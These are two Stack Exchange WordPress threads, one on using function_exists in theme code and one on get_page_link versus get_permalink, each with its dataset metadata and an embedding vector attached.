ec7019595fcf6862dc4525fb3ea2cbfc0feca9f7
|
Wordpress Stackexchange
Q: Why use if function_exists? I noticed a lot of developers of WordPress themes would use this in functions.php
if (function_exists('register_nav_menus')) {
register_nav_menus (array('primary' => 'Header Navigation'));
}
For me, I alwayse use add_action for every function I am using in functions.php
So, the above would be written as:
add_action('init', 'my_register_nav_menus');
function my_register_nav_menus() {
register_nav_menus (array('primary' => 'Header Navigation'));
}
I have two questions:
*
*Why use the if statement in the first method?
*Which one is the correct way?
A: The function_exists function is not an other way to load the function like add_action its for check your code to see that there are no other function with that same name so it will not break your code. From php.net:
Checks the list of defined functions, both built-in (internal) and
user-defined, for function_name.
If you have the same function twice in your code it will break, thats why you prefix Your function with something else than wp_.
Read more: http://php.net/manual/en/function.function-exists.php
|
Q: Why use if function_exists? I noticed a lot of developers of WordPress themes would use this in functions.php
if (function_exists('register_nav_menus')) {
register_nav_menus (array('primary' => 'Header Navigation'));
}
For me, I alwayse use add_action for every function I am using in functions.php
So, the above would be written as:
add_action('init', 'my_register_nav_menus');
function my_register_nav_menus() {
register_nav_menus (array('primary' => 'Header Navigation'));
}
I have two questions:
*
*Why use the if statement in the first method?
*Which one is the correct way?
A: The function_exists function is not an other way to load the function like add_action its for check your code to see that there are no other function with that same name so it will not break your code. From php.net:
Checks the list of defined functions, both built-in (internal) and
user-defined, for function_name.
If you have the same function twice in your code it will break, thats why you prefix Your function with something else than wp_.
Read more: http://php.net/manual/en/function.function-exists.php
A: Checking to see if built in WordPress functions exist before calling them is for backward compatibility which IMHO is not needed.
So if you see if ( function_exists( 'register_nav_menus' ) ) the theme author is supporting versions earlier than 3.0.
You still sometimes see if ( function_exists( 'dynamic_sidebar' ) ) Why? I couldn't tell you because dynamic_sidebar was introduced in 2.2.
Another reason to use it is to make your theme or plugin pluggable. A pluggable function is one that can be overridden in a child theme or another plugin.
This is done on the definition not the call and you use the ! operator to make sure it doesn't already exist before you define it.
if ( ! function_exists( 'my_awesome_function' ) ) {
/**
* My Awesome function is awesome
*
* @param array $args
* @return array
*/
function my_awesome_function( $args ) {
//function stuff
return array();
}
}
When this is done a child theme or other plugin can override that function with there own.
A: you can use http://php.net/function_exists
if(function_exists('my_function')){
// my_function is defined
}
OR if you want to see the all function available, so you also print all,
echo "<pre>"; print_r(get_defined_functions());
print on page and you can search that function if it is not found on list means it is not available to use.
you may need to activate extension for particular library.
A: function_exists should be used after the function name in a theme not before.
add_action( 'loop_start', 'add_slider' );
function add_slider() {
if ( function_exists( 'soliloquy' ) ) {
soliloquy( 'slider', 'slug' );
}
}
This checks to make sure the plugin is active before outputting a function and/or markup otherwise you might get a error like call to undefined function.
A: php.net defines this as
(PHP 4, PHP 5, PHP 7) function_exists — Return TRUE if the given function has been defined
I have to agree with Michelle in usage in that you [sh]ould only use the check for something similar to type cast checking; so you would be looking for if a function existed (on that page or from anything called on that page/file reference) so then you would know if is safe to run another function or parse some template HTML possibly.
As someone mentioned it is used commonly to check if your file/theme (using WordPress) is able to run your needed request. I have used it for checking if a theme has a specific template part.
if ( function_exists( 'register_sidebar' ) ) {
get_sidebar();
}
|
wordpress
|
{
"language": "en",
"length": 579,
"provenance": "stackexchange_00019.jsonl.gz:436178",
"question_score": "34",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111299"
}
|
[
0.07525634765625,
0.0194549560546875,
0.00696563720703125,
-0.0282745361328125,
0.037200927734375,
-0.0250701904296875,
0.036773681640625,
-0.047119140625,
0.00592803955078125,
-0.004913330078125,
-0.0625,
0.0031337738037109375,
-0.042327880859375,
0.0017719268798828125,
-0.0265960693359375,
-0.054901123046875,
0.0220489501953125,
-0.0379638671875,
0.0052337646484375,
-0.02740478515625,
0.0355224609375,
-0.00666046142578125,
0.021392822265625,
0.041778564453125,
0.03662109375,
-0.095458984375,
0.027252197265625,
-0.016448974609375,
0.01412200927734375,
-0.013214111328125,
0.0201263427734375,
0.032684326171875,
-0.0166168212890625,
0.0221710205078125,
0.02813720703125,
0.019134521484375,
-0.006473541259765625,
0.0166015625,
0.041351318359375,
0.0003578662872314453,
0.0180206298828125,
-0.00849151611328125,
0.0283050537109375,
0.010650634765625,
-0.00045228004455566406,
-0.069580078125,
0.05712890625,
-0.01090240478515625,
-0.0184478759765625,
-0.004451751708984375,
0.024261474609375,
-0.0263519287109375,
0.0325927734375,
0.0088958740234375,
-0.0174560546875,
-0.012725830078125,
-0.0345458984375,
0.033050537109375,
0.0066680908203125,
0.061737060546875,
-0.00771331787109375,
0.03472900390625,
-0.016998291015625,
-0.039703369140625,
0.004974365234375,
0.016448974609375,
0.004192352294921875,
0.004314422607421875,
-0.03131103515625,
-0.006076812744140625,
0.019439697265625,
-0.042144775390625,
-0.02783203125,
0.02703857421875,
-0.004108428955078125,
-0.055999755859375,
0.0316162109375,
-0.0190887451171875,
-0.00847625732421875,
0.059295654296875,
-0.01352691650390625,
-0.021270751953125,
-0.02130126953125,
0.0021648406982421875,
0.0047760009765625,
0.04705810546875,
-0.01519775390625,
-0.020721435546875,
-0.039093017578125,
-0.0288238525390625,
-0.027740478515625,
-0.0306243896484375,
-0.0236663818359375,
-0.052825927734375,
0.002605438232421875,
-0.07025146484375,
0.0113372802734375,
0.07421875,
-0.01319122314453125,
0.01885986328125,
0.01212310791015625,
-0.043792724609375,
0.0408935546875,
-0.061553955078125,
0.03387451171875,
0.12176513671875,
-0.00402069091796875,
-0.0013446807861328125,
0.0211029052734375,
-0.014129638671875,
0.0330810546875,
-0.02099609375,
-0.005413055419921875,
-0.075927734375,
0.006298065185546875,
0.00858306884765625,
-0.0286865234375,
0.0137481689453125,
0.038543701171875,
-0.03692626953125,
0.00910186767578125,
0.043304443359375,
-0.005771636962890625,
-0.02142333984375,
-0.01494598388671875,
-0.0224761962890625,
-0.014892578125,
-0.0309906005859375,
-0.006011962890625,
0.034271240234375,
-0.021759033203125,
0.006961822509765625,
0.0015115737915039062,
-0.01409149169921875,
-0.03851318359375,
-0.026397705078125,
0.024566650390625,
0.0251312255859375,
-0.003856658935546875,
0.0279693603515625,
0.009857177734375,
-0.042510986328125,
-0.02239990234375,
0.0162506103515625,
-0.01020050048828125,
0.0164947509765625,
0.0205078125,
0.0016660690307617188,
-0.0152130126953125,
-0.042633056640625,
-0.004886627197265625,
-0.0265655517578125,
0.0382080078125,
0.00415802001953125,
-0.054779052734375,
0.021209716796875,
-0.0430908203125,
0.0188446044921875,
-0.0265350341796875,
0.0203704833984375,
-0.00443267822265625,
-0.0438232421875,
-0.0413818359375,
-0.08636474609375,
-0.095458984375,
0.03619384765625,
-0.033355712890625,
0.00656890869140625,
0.0162811279296875,
-0.00380706787109375,
-0.0171051025390625,
0.0025806427001953125,
-0.0078277587890625,
0.031768798828125,
0.021575927734375,
0.0321044921875,
0.018096923828125,
0.039886474609375,
0.0090789794921875,
0.04376220703125,
0.0014743804931640625,
-0.039276123046875,
0.05694580078125,
-0.036285400390625,
-0.074951171875,
0.054443359375,
-0.0015840530395507812,
0.060394287109375,
0.038665771484375,
0.00708770751953125,
0.0364990234375,
-0.01261138916015625,
-0.00800323486328125,
-0.013214111328125,
-0.0174102783203125,
-0.0179595947265625,
0.0443115234375,
0.0154266357421875,
-0.00787353515625,
-0.00414276123046875,
0.01146697998046875,
0.0033664703369140625,
0.01099395751953125,
-0.0181884765625,
-0.07647705078125,
0.0296173095703125,
-0.04351806640625,
0.049346923828125,
0.02069091796875,
0.0270843505859375,
-0.004657745361328125,
0.0146942138671875,
-0.0166168212890625,
-0.017364501953125,
-0.0225830078125,
0.0229339599609375,
-0.071533203125,
0.0093536376953125,
-0.0186614990234375,
0.03692626953125,
-0.031768798828125,
0.01413726806640625,
-0.0169219970703125,
-0.02374267578125,
-0.0024204254150390625,
-0.0210418701171875,
-0.0267333984375,
-0.017059326171875,
-0.041473388671875,
0.00201416015625,
-0.0211181640625,
0.049468994140625,
0.0623779296875,
0.01129913330078125,
-0.04852294921875,
-0.0162811279296875,
-0.0249481201171875,
-0.06280517578125,
-0.016357421875,
0.08203125,
0.0299072265625,
0.0259246826171875,
-0.0064697265625,
0.0010023117065429688,
0.0169677734375,
-0.07049560546875,
-0.0109710693359375,
0.0020046234130859375,
-0.040313720703125,
-0.02398681640625,
0.04852294921875,
0.0264129638671875,
0.0118408203125,
-0.0017690658569335938,
0.025238037109375,
0.01154327392578125,
-0.04559326171875,
-0.058868408203125,
0.00873565673828125,
0.019012451171875,
0.0002359151840209961,
-0.044281005859375,
-0.005084991455078125,
-0.0205841064453125,
0.0108642578125,
-0.007457733154296875,
0.00371551513671875,
0.000019073486328125,
-0.01727294921875,
0.0015535354614257812,
0.0264892578125,
-0.018798828125,
-0.01450347900390625,
0.0200347900390625,
0.01763916015625,
0.0406494140625,
-0.0384521484375,
0.0022735595703125,
-0.011810302734375,
0.02685546875,
-0.032073974609375,
0.0189666748046875,
-0.02978515625,
-0.020263671875,
-0.00289154052734375,
-0.0275726318359375,
-0.00074005126953125,
-0.04345703125,
0.04058837890625,
-0.00399017333984375,
0.041595458984375,
-0.0177154541015625,
-0.0478515625,
0.052032470703125,
-0.0196990966796875,
-0.053009033203125,
-0.026611328125,
0.01369476318359375,
-0.00432586669921875,
0.0074462890625,
0.03131103515625,
0.05206298828125,
0.0006389617919921875,
0.004108428955078125,
0.006504058837890625,
-0.02056884765625,
0.00885772705078125,
0.0282745361328125,
-0.0028705596923828125,
-0.0128936767578125,
-0.0250701904296875,
0.0203704833984375,
0.020599365234375,
0.0232696533203125,
-0.01065826416015625,
-0.044921875,
-0.0243988037109375,
-0.002933502197265625,
-0.08447265625,
-0.0562744140625,
-0.054534912109375,
-0.04376220703125,
0.0433349609375,
0.0199432373046875,
0.006931304931640625,
-0.0257110595703125,
0.036895751953125,
0.03192138671875,
-0.020843505859375,
-0.009735107421875,
-0.04833984375,
-0.056976318359375,
-0.0767822265625,
-0.0035991668701171875,
-0.0034046173095703125,
0.024017333984375,
-0.005458831787109375,
0.042144775390625,
0.0107269287109375,
-0.04833984375,
0.04046630859375,
-0.00284576416015625,
-0.0252685546875,
0.0352783203125,
0.0010013580322265625,
-0.031341552734375,
0.0217742919921875,
0.004032135009765625,
0.0241241455078125,
0.005504608154296875,
0.003864288330078125,
-0.017486572265625,
-0.015380859375,
-0.034912109375,
0.0170440673828125,
0.071044921875,
-0.00017321109771728516,
-0.017303466796875,
0.0828857421875,
-0.0421142578125,
-0.03729248046875,
0.00003415346145629883,
-0.04022216796875,
0.045257568359375,
0.0259246826171875,
-0.0038509368896484375,
0.022308349609375,
0.0037708282470703125,
0.00414276123046875,
0.0294647216796875,
-0.00244140625,
-0.0006899833679199219,
0.03240966796875,
-0.0163421630859375,
-0.0189971923828125,
-0.0258941650390625,
0.04010009765625,
-0.0267791748046875,
0.003631591796875,
0.0247344970703125,
-0.002910614013671875,
-0.00494384765625,
-0.023040771484375,
-0.047027587890625,
0.009307861328125,
0.0162200927734375,
-0.007083892822265625,
0.046875,
-0.023773193359375,
-0.0066070556640625,
-0.025970458984375,
0.0396728515625,
0.02850341796875,
-0.0260162353515625,
0.01367950439453125,
0.00592041015625,
-0.03692626953125,
-0.028289794921875,
-0.0226593017578125,
0.0021114349365234375,
-0.010345458984375,
0.0130157470703125,
-0.007389068603515625,
0.0028896331787109375,
-0.03271484375,
0.00801849365234375,
-0.0234527587890625,
-0.0200653076171875,
0.0418701171875,
-0.0302886962890625,
0.0280303955078125,
0.0382080078125,
0.0203704833984375,
-0.00933837890625,
-0.0189971923828125,
-0.0244903564453125,
-0.055328369140625,
-0.0018329620361328125,
-0.06842041015625,
0.06201171875,
0.0389404296875,
-0.0074920654296875,
0.0028018951416015625,
0.0252838134765625,
0.0579833984375,
0.012725830078125,
0.0246429443359375,
-0.0345458984375,
0.060943603515625,
-0.038330078125,
0.0028018951416015625,
-0.03057861328125,
0.00933074951171875,
-0.0033740997314453125,
-0.0645751953125,
0.0008521080017089844,
-0.02166748046875,
0.005825042724609375,
0.01953125,
-0.03863525390625,
-0.006618499755859375,
-0.0064239501953125,
-0.0083770751953125,
0.0303802490234375,
-0.0163116455078125,
-0.00543212890625,
-0.009521484375,
-0.022857666015625,
0.0124969482421875,
-0.073974609375,
-0.02056884765625,
0.0172576904296875,
0.0782470703125,
0.0198974609375,
0.01428985595703125,
0.005218505859375,
0.041290283203125,
0.040679931640625,
0.00785064697265625,
0.019866943359375,
-0.00628662109375,
-0.01479339599609375,
0.01120758056640625,
0.01450347900390625,
0.0026683807373046875,
-0.013946533203125,
0.0291290283203125,
0.025543212890625,
0.00966644287109375,
-0.0209808349609375,
0.011749267578125,
0.0266265869140625,
0.015472412109375,
0.0244140625,
-0.0338134765625,
0.036163330078125,
0.0285797119140625,
-0.01087188720703125,
-0.004180908203125,
-0.01387786865234375,
0.03082275390625,
-0.02117919921875,
0.007678985595703125,
0.07501220703125,
0.044403076171875,
-0.0069732666015625,
-0.0020351409912109375,
0.0160675048828125,
-0.0031108856201171875,
0.0258941650390625,
0.053466796875,
-0.0207061767578125,
0.038970947265625,
0.01904296875,
-0.01499176025390625,
-0.0257110595703125,
-0.0038585662841796875,
0.054351806640625,
0.005237579345703125,
-0.0257720947265625,
-0.0423583984375,
0.00832366943359375,
0.0224456787109375,
-0.0068206787109375,
-0.003025054931640625,
0.06072998046875,
-0.0101318359375,
-0.01922607421875,
-0.02099609375,
-0.053955078125,
-0.0236358642578125,
-0.0391845703125,
0.0015573501586914062,
0.00838470458984375,
-0.0300750732421875,
0.01468658447265625,
0.0005130767822265625,
0.009918212890625,
-0.01078033447265625,
-0.01055145263671875,
0.01128387451171875,
-0.03173828125,
0.05120849609375,
0.021148681640625,
-0.0291900634765625,
0.020355224609375,
0.03155517578125,
-0.006160736083984375,
-0.0278472900390625,
-0.006992340087890625,
0.016387939453125,
0.00969696044921875,
0.0175018310546875,
0.005126953125,
0.010711669921875,
0.0352783203125,
-0.0031108856201171875,
0.0289154052734375,
0.011322021484375,
-0.033935546875,
-0.0227203369140625,
0.02783203125,
0.04388427734375,
-0.01495361328125,
-0.015655517578125,
0.0297088623046875,
0.0067291259765625,
0.0222320556640625,
0.01236724853515625,
-0.03228759765625,
0.0081787109375,
0.03228759765625,
0.0023632049560546875,
-0.0103759765625,
0.0016679763793945312,
0.00534820556640625,
-0.0047454833984375,
-0.0272674560546875,
-0.034149169921875,
0.038909912109375,
-0.0291290283203125,
-0.01192474365234375,
-0.0117034912109375,
0.0066375732421875,
0.00684356689453125,
0.0005383491516113281,
0.07464599609375,
0.036285400390625,
-0.04583740234375,
0.0004394054412841797,
-0.004283905029296875,
0.00899505615234375,
-0.0271148681640625,
-0.0682373046875,
-0.01171875,
-0.02032470703125,
-0.005340576171875,
-0.00550079345703125,
0.006805419921875,
0.0198974609375,
-0.005596160888671875,
0.0289459228515625,
0.01543426513671875,
0.0057525634765625,
-0.0208587646484375,
0.0283203125,
0.03765869140625,
0.006439208984375,
0.013427734375,
0.0142669677734375,
-0.0036067962646484375,
-0.0251312255859375,
-0.0019121170043945312,
-0.01629638671875,
0.00146484375,
-0.0438232421875,
0.0205535888671875,
0.004650115966796875,
0.0516357421875,
-0.0034427642822265625,
-0.0014362335205078125,
0.013671875,
-0.007213592529296875,
-0.0169830322265625,
0.0016269683837890625,
0.03265380859375,
0.006267547607421875,
0.031402587890625,
-0.022491455078125,
-0.0027790069580078125,
0.02325439453125,
0.01026153564453125,
0.03582763671875,
-0.0166778564453125,
0.02899169921875,
-0.01666259765625,
-0.08868408203125,
0.049835205078125,
0.0350341796875,
0.0200958251953125,
0.052337646484375,
-0.0301361083984375,
0.030059814453125,
0.036956787109375,
0.0035915374755859375,
-0.04803466796875,
0.01044464111328125,
0.04052734375,
0.005931854248046875,
0.0062408447265625,
0.04046630859375,
-0.01412200927734375,
-0.010009765625,
0.06622314453125,
0.067138671875,
-0.06640625,
-0.0169830322265625,
0.032196044921875,
0.006488800048828125,
0.00634002685546875,
-0.023193359375,
-0.0255889892578125,
-0.06451416015625,
0.0831298828125,
-0.00412750244140625,
-0.014251708984375,
0.0238494873046875,
0.003704071044921875,
0.002956390380859375,
-0.012359619140625,
0.0246124267578125,
0.00824737548828125,
-0.00669097900390625,
-0.006519317626953125,
0.014190673828125,
0.00473785400390625,
-0.006103515625,
0.007568359375,
-0.006656646728515625,
-0.01959228515625,
-0.032318115234375,
0.0083770751953125,
-0.024505615234375,
-0.0028553009033203125,
-0.016845703125,
-0.00616455078125,
0.0247802734375,
0.049530029296875,
-0.035369873046875,
0.0208282470703125,
0.01033782958984375,
0.01413726806640625,
-0.04425048828125,
-0.018280029296875,
0.033050537109375,
0.01299285888671875,
-0.050628662109375,
0.031585693359375,
-0.03094482421875,
-0.036163330078125,
-0.0200653076171875,
-0.03131103515625,
0.09600830078125,
-0.058624267578125,
-0.0115203857421875,
0.0003864765167236328,
0.01143646240234375,
0.0203399658203125,
-0.0219879150390625,
0.06036376953125,
-0.08740234375,
-0.06622314453125,
0.0142822265625,
-0.06298828125,
-0.028564453125,
-0.031158447265625,
-0.0013170242309570312,
0.052337646484375,
-0.0254364013671875,
-0.0298004150390625,
0.00754547119140625,
0.039703369140625,
0.0191650390625,
0.059844970703125,
-0.0249786376953125,
0.041229248046875,
0.00598907470703125,
0.027191162109375,
-0.001956939697265625,
0.024169921875,
0.00794219970703125,
-0.0087432861328125,
0.0179901123046875,
0.006717681884765625,
0.013092041015625,
0.0222320556640625,
0.054534912109375,
0.03399658203125,
-0.0151519775390625,
0.0012636184692382812,
-0.0295257568359375,
-0.0638427734375,
-0.01904296875,
0.002414703369140625,
0.0251312255859375,
-0.02996826171875,
-0.025665283203125,
-0.0190277099609375,
0.002094268798828125,
0.00875091552734375,
-0.0290985107421875,
0.003787994384765625,
-0.0044097900390625,
-0.016632080078125,
-0.00905609130859375,
0.04644775390625,
-0.040618896484375,
0.023223876953125,
-0.04559326171875,
0.00019288063049316406,
-0.017852783203125,
-0.0153656005859375,
0.0110015869140625,
-0.0089111328125,
0.01287841796875,
0.022003173828125,
-0.00008118152618408203,
0.01435089111328125,
0.0274658203125,
0.01065826416015625,
0.043548583984375,
0.0115509033203125,
0.04071044921875,
0.034515380859375,
0.0426025390625,
-0.0240020751953125,
-0.05584716796875,
0.04473876953125,
0.0787353515625,
-0.01233673095703125,
-0.03887939453125,
0.00047588348388671875,
0.01568603515625,
0.007427215576171875,
0.03515625,
0.040618896484375,
-0.00249481201171875,
0.03863525390625,
-0.024993896484375,
-0.01189422607421875,
0.03265380859375,
0.00228118896484375,
-0.0001367330551147461,
-0.0100860595703125,
0.005985260009765625,
-0.00293731689453125,
-0.059539794921875,
0.045257568359375,
0.02496337890625,
0.06512451171875,
-0.00848388671875,
0.0736083984375,
-0.00888824462890625,
-0.03204345703125,
-0.0272064208984375,
0.039031982421875,
-0.05853271484375,
0.04974365234375,
-0.0760498046875,
-0.07171630859375,
-0.00850677490234375,
0.0626220703125,
0.026885986328125,
0.06329345703125,
0.0270843505859375,
0.00934600830078125,
0.0214691162109375,
0.02294921875,
0.06878662109375,
-0.02398681640625,
-0.007411956787109375,
-0.03131103515625,
-0.005489349365234375,
-0.00628662109375,
0.007030487060546875,
-0.0181121826171875,
0.0199127197265625,
-0.00754547119140625,
-0.0107879638671875,
-0.011688232421875,
0.0051422119140625,
-0.0207061767578125,
0.045562744140625,
0.0167388916015625,
0.051971435546875,
0.0230560302734375,
-0.05157470703125,
-0.0123748779296875,
-0.000003993511199951172,
-0.035186767578125,
0.025665283203125,
0.04290771484375,
0.00002300739288330078,
0.003932952880859375,
0.05133056640625,
-0.0028934478759765625,
0.01812744140625,
0.0035495758056640625,
-0.01369476318359375,
-0.01018524169921875,
0.047515869140625,
0.0225982666015625,
0.005161285400390625,
0.0216217041015625,
0.0015363693237304688,
0.007171630859375,
0.032501220703125,
0.05035400390625,
-0.0020313262939453125,
0.0179595947265625,
0.0116424560546875,
-0.003063201904296875,
-0.00760650634765625,
-0.00019884109497070312,
0.006267547607421875,
-0.0279998779296875,
-0.0031185150146484375,
-0.002742767333984375,
-0.08062744140625,
-0.0008587837219238281,
0.039031982421875,
-0.01345062255859375,
0.0276031494140625,
0.001178741455078125,
0.0263824462890625,
-0.042877197265625,
0.0379638671875,
-0.0015087127685546875,
-0.031524658203125,
-0.018218994140625,
0.01555633544921875,
0.035614013671875,
0.0791015625,
0.0099639892578125,
0.0006093978881835938,
-0.0114288330078125,
-0.0657958984375,
0.00691986083984375,
-0.029571533203125,
-0.02606201171875,
0.017486572265625,
0.04766845703125,
-0.0203094482421875,
-0.0499267578125,
-0.0228271484375,
-0.016448974609375,
-0.0074462890625,
-0.006473541259765625,
-0.0270538330078125,
-0.00732421875,
-0.0005316734313964844,
0.050018310546875,
0.0279693603515625,
-0.04315185546875,
0.016754150390625,
0.04644775390625,
-0.02423095703125,
0.04730224609375,
-0.033447265625,
-0.020050048828125,
-0.0189666748046875,
-0.0156707763671875,
0.00772857666015625,
-0.01334381103515625,
-0.03668212890625,
-0.0214691162109375,
0.0200653076171875,
0.03143310546875,
-0.034332275390625,
-0.007564544677734375,
-0.01947021484375,
-0.05810546875,
0.08404541015625,
-0.045318603515625,
0.01015472412109375,
0.007274627685546875,
0.022308349609375,
-0.0230865478515625,
0.03155517578125,
-0.007114410400390625,
-0.0027256011962890625,
0.03790283203125,
0.01453399658203125,
0.038360595703125,
-0.0269012451171875,
-0.06329345703125,
0.01110076904296875,
0.02130126953125,
0.036773681640625,
0.04681396484375,
-0.037628173828125,
-0.0006642341613769531,
-0.0228118896484375,
0.015899658203125,
-0.005039215087890625,
0.00676727294921875,
-0.041015625,
-0.0399169921875,
-0.01641845703125,
0.0193939208984375,
0.04180908203125,
-0.0165557861328125,
-0.051483154296875,
0.040130615234375,
-0.00537872314453125,
-0.02386474609375,
-0.038116455078125,
0.006664276123046875,
-0.031707763671875,
0.031158447265625,
-0.01503753662109375,
-0.01016998291015625,
0.03192138671875,
0.073974609375,
-0.00457000732421875,
0.048980712890625,
0.02099609375,
-0.029510498046875,
-0.0222015380859375,
-0.0037555694580078125,
-0.0007381439208984375,
0.0071563720703125,
0.04083251953125,
-0.01446533203125,
0.042266845703125,
0.060455322265625,
-0.0164794921875,
-0.0263214111328125,
-0.0382080078125,
-0.08001708984375,
-0.0009546279907226562,
-0.041473388671875,
0.01432037353515625,
-0.00782012939453125,
0.045135498046875,
-0.0052032470703125,
0.0093536376953125,
-0.036651611328125,
-0.03399658203125,
-0.044952392578125,
0.0012521743774414062,
0.01039886474609375,
-0.004169464111328125,
-0.0263214111328125,
0.031524658203125,
-0.005077362060546875,
-0.0193634033203125,
-0.029632568359375,
0.01409149169921875,
-0.0511474609375,
-0.003833770751953125,
-0.0279388427734375,
-0.01593017578125,
-0.024627685546875,
-0.051177978515625,
0.03009033203125,
-0.010284423828125,
0.006717681884765625,
0.0218505859375,
0.0282440185546875,
0.00705718994140625,
0.079345703125,
0.0275421142578125,
0.0462646484375,
-0.0606689453125,
-0.036346435546875,
0.0235137939453125,
-0.000015437602996826172,
-0.0044097900390625,
-0.0477294921875,
0.00740814208984375,
0.0207366943359375,
-0.005962371826171875,
0.0247344970703125,
-0.00699615478515625,
0.04345703125,
-0.01580810546875,
0.036102294921875,
0.003574371337890625,
0.08990478515625,
0.018707275390625,
0.0261383056640625,
0.0246429443359375,
-0.0167388916015625,
0.046600341796875,
-0.037200927734375,
-0.005100250244140625,
0.01251983642578125,
-0.0095062255859375,
-0.051544189453125,
0.054595947265625,
-0.02862548828125,
0.006866455078125,
0.0321044921875
] |
4f427769d3fd21e6be7099fbc2c33a3a1053ed20
|
Wordpress Stackexchange
Q: What is the difference between get_page_link and get_permalink functions? Both functions return permalink to the post or page by it's ID. What are the differences and which of these functions should I use in which cases?
A: When i explored the WordPress core for this answer i found that get_permalink() function internally calls get_page_link() function for getting permalink of page and it calls get_post_permalink() function to get permalink of post.
Therefore either you use get_permalink() function or get_page_link() function, you will get same result.
The difference between these two is get_page_link() function handles page_on_front page set in back end whereas get_post_permalink() function do not consider it.
|
Q: What is the difference between get_page_link and get_permalink functions? Both functions return permalink to the post or page by it's ID. What are the differences and which of these functions should I use in which cases?
A: When i explored the WordPress core for this answer i found that get_permalink() function internally calls get_page_link() function for getting permalink of page and it calls get_post_permalink() function to get permalink of post.
Therefore either you use get_permalink() function or get_page_link() function, you will get same result.
The difference between these two is get_page_link() function handles page_on_front page set in back end whereas get_post_permalink() function do not consider it.
A: In my opinion get_page_link is for displaying the link and get_permalink is not for displaying the link.
WordPress Codex says: get_permalink: It does NOT display the permalink.
|
wordpress
|
{
"language": "en",
"length": 135,
"provenance": "stackexchange_00019.jsonl.gz:436180",
"question_score": "8",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111301"
}
|
[
0.0732421875,
-0.00904083251953125,
0.0408935546875,
-0.011444091796875,
-0.006473541259765625,
-0.01236724853515625,
0.048583984375,
-0.0302581787109375,
-0.0241851806640625,
-0.0024814605712890625,
-0.0197601318359375,
0.0258026123046875,
-0.037078857421875,
-0.03857421875,
0.053466796875,
-0.0131072998046875,
0.052703857421875,
-0.0240631103515625,
0.034942626953125,
-0.0109710693359375,
0.016693115234375,
0.01476287841796875,
0.034454345703125,
0.0792236328125,
0.061431884765625,
-0.0726318359375,
0.0121002197265625,
-0.0033321380615234375,
0.0104827880859375,
-0.0271453857421875,
0.01666259765625,
0.017425537109375,
0.02105712890625,
0.0106048583984375,
-0.0261077880859375,
-0.0430908203125,
-0.0165863037109375,
0.006717681884765625,
0.0014753341674804688,
-0.00292205810546875,
0.0249786376953125,
0.004306793212890625,
-0.0208587646484375,
0.05267333984375,
-0.0335693359375,
-0.00043892860412597656,
-0.0234832763671875,
-0.04638671875,
-0.04083251953125,
0.006969451904296875,
0.0341796875,
0.0023746490478515625,
0.039398193359375,
0.0347900390625,
-0.00862884521484375,
-0.00904083251953125,
0.0287628173828125,
-0.0178070068359375,
0.0240020751953125,
-0.032012939453125,
-0.04827880859375,
0.0013761520385742188,
0.0272674560546875,
-0.0178070068359375,
-0.039459228515625,
0.0073699951171875,
-0.025390625,
0.01200103759765625,
-0.02410888671875,
-0.03558349609375,
-0.0007071495056152344,
-0.01366424560546875,
-0.0252838134765625,
-0.0094146728515625,
-0.015960693359375,
-0.00766754150390625,
0.0164947509765625,
-0.025787353515625,
-0.032257080078125,
0.036041259765625,
-0.031982421875,
-0.017059326171875,
-0.09002685546875,
-0.00794219970703125,
0.01285552978515625,
0.034881591796875,
-0.01380157470703125,
-0.00942230224609375,
-0.0230712890625,
-0.035736083984375,
-0.02105712890625,
-0.02862548828125,
-0.01318359375,
-0.0088958740234375,
-0.02227783203125,
-0.0260009765625,
0.030517578125,
0.033111572265625,
-0.00641632080078125,
0.01222991943359375,
0.00008428096771240234,
-0.039306640625,
0.041473388671875,
-0.033721923828125,
-0.011871337890625,
0.01506805419921875,
0.041778564453125,
0.041046142578125,
0.02374267578125,
-0.004703521728515625,
-0.012847900390625,
0.054107666015625,
0.014312744140625,
-0.045196533203125,
0.02325439453125,
0.01165771484375,
-0.021697998046875,
0.03497314453125,
0.014495849609375,
0.007144927978515625,
-0.00968170166015625,
0.0207672119140625,
0.0352783203125,
-0.006389617919921875,
0.021209716796875,
0.045440673828125,
-0.005825042724609375,
-0.07012939453125,
0.00992584228515625,
0.0802001953125,
-0.04486083984375,
-0.040008544921875,
0.0570068359375,
0.025634765625,
0.028961181640625,
-0.052764892578125,
-0.0281829833984375,
-0.00600433349609375,
0.0091552734375,
0.023406982421875,
-0.036041259765625,
-0.059112548828125,
0.018096923828125,
-0.01483154296875,
-0.0193328857421875,
0.0062713623046875,
0.01511383056640625,
0.0237884521484375,
-0.004486083984375,
-0.026336669921875,
-0.0259552001953125,
0.01611328125,
-0.01146697998046875,
-0.006023406982421875,
0.002124786376953125,
-0.02899169921875,
-0.041290283203125,
-0.005794525146484375,
0.048553466796875,
0.01293182373046875,
0.054534912109375,
-0.001209259033203125,
-0.01007080078125,
0.027099609375,
-0.031707763671875,
-0.006320953369140625,
-0.022003173828125,
-0.0215911865234375,
0.015899658203125,
0.03363037109375,
0.0222320556640625,
0.001781463623046875,
-0.026336669921875,
-0.005771636962890625,
-0.005443572998046875,
-0.0196075439453125,
-0.00775146484375,
0.02740478515625,
0.010955810546875,
0.01043701171875,
-0.016204833984375,
-0.0390625,
0.04083251953125,
-0.0237579345703125,
-0.0509033203125,
0.040069580078125,
0.0296478271484375,
0.07403564453125,
-0.022125244140625,
0.036224365234375,
0.01776123046875,
0.03167724609375,
-0.03863525390625,
0.04473876953125,
0.0027561187744140625,
-0.05596923828125,
0.01568603515625,
-0.01236724853515625,
-0.01222991943359375,
-0.00818634033203125,
-0.0299224853515625,
0.0214385986328125,
-0.00501251220703125,
0.03662109375,
-0.0171051025390625,
0.0304412841796875,
-0.017120361328125,
0.028839111328125,
0.00817108154296875,
0.0340576171875,
0.01309967041015625,
0.01557159423828125,
-0.0224761962890625,
-0.0245208740234375,
-0.0004963874816894531,
0.04132080078125,
-0.02716064453125,
-0.01549530029296875,
-0.0400390625,
0.0025386810302734375,
-0.03472900390625,
-0.0260009765625,
-0.04693603515625,
0.01617431640625,
0.050537109375,
-0.000415802001953125,
-0.01316070556640625,
-0.0235137939453125,
-0.00531768798828125,
0.0169525146484375,
-0.06329345703125,
0.0458984375,
0.0758056640625,
0.07928466796875,
-0.00846099853515625,
0.005619049072265625,
0.01270294189453125,
-0.0269317626953125,
-0.0025196075439453125,
0.037445068359375,
0.04034423828125,
0.02325439453125,
-0.019012451171875,
-0.034393310546875,
0.029815673828125,
-0.03436279296875,
0.01409912109375,
